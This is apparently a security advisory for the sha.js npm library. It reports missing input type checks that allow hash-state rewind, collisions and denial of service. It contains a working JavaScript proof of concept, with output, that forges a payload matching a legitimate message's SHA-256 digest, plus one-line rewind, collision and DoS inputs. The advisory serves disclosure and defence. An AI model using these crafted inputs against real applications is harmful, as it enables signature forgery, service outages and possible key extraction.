| summary |
sha.js is missing type checks leading to hash rewind and passing on crafted data
### Summary
This is the same as [GHSA-cpq7-6gpm-g9rc](https://github.com/browserify/cipher-base/security/advisories/GHSA-cpq7-6gpm-g9rc) but just for `sha.js`, as it has its own implementation.
Missing input type checks can allow types other than a well-formed `Buffer` or `string`, resulting in invalid values, hanging and rewinding the hash state (including turning a tagged hash into an untagged hash), or other generally undefined behaviour.
### Details
See PoC
### PoC
```js
const forgeHash = (data, payload) => JSON.stringify([payload, { length: -payload.length}, [...data]])
const sha = require('sha.js')
const { randomBytes } = require('crypto')
const sha256 = (...messages) => {
const hash = sha('sha256')
messages.forEach((m) => hash.update(m))
return hash.digest('hex')
}
const validMessage = [randomBytes(32), randomBytes(32), randomBytes(32)] // whatever
const payload = forgeHash(Buffer.concat(validMessage), 'Hashed input means safe')
const receivedMessage = JSON.parse(payload) // e.g. over network, whatever
console.log(sha256(...validMessage))
console.log(sha256(...receivedMessage))
console.log(receivedMessage[0])
```
Output:
```
638d5bf3ca5d1decf7b78029f1c4a58558143d62d0848d71e27b2a6ff312d7c4
638d5bf3ca5d1decf7b78029f1c4a58558143d62d0848d71e27b2a6ff312d7c4
Hashed input means safe
```
Or just:
```console
> require('sha.js')('sha256').update('foo').digest('hex')
'2c26b46b68ffc68ff99b453c1d30413413422d706483bfa0f98a5e886266e7ae'
> require('sha.js')('sha256').update('fooabc').update({length:-3}).digest('hex')
'2c26b46b68ffc68ff99b453c1d30413413422d706483bfa0f98a5e886266e7ae'
```
### Impact
1. Hash state rewind on `{length: -x}`. This is behind the PoC above, also this way an attacker can turn a tagged hash in cryptographic libraries into an untagged hash.
2. Value miscalculation, e.g. a collision is generated by `{ length: buf.length, ...buf, 0: buf[0] + 256 }`
This will result in the same hash as of `buf`, but can be treated by other code differently (e.g. bn.js)
4. DoS on `{length:'1e99'}`
5. On a subsequent system, (2) can turn into matching hashes but different numeric representations, leading to issues up to private key extraction from cryptography libraries (as nonce is often generated through a hash, and matching nonces for different values often immediately leads to private key restoration) |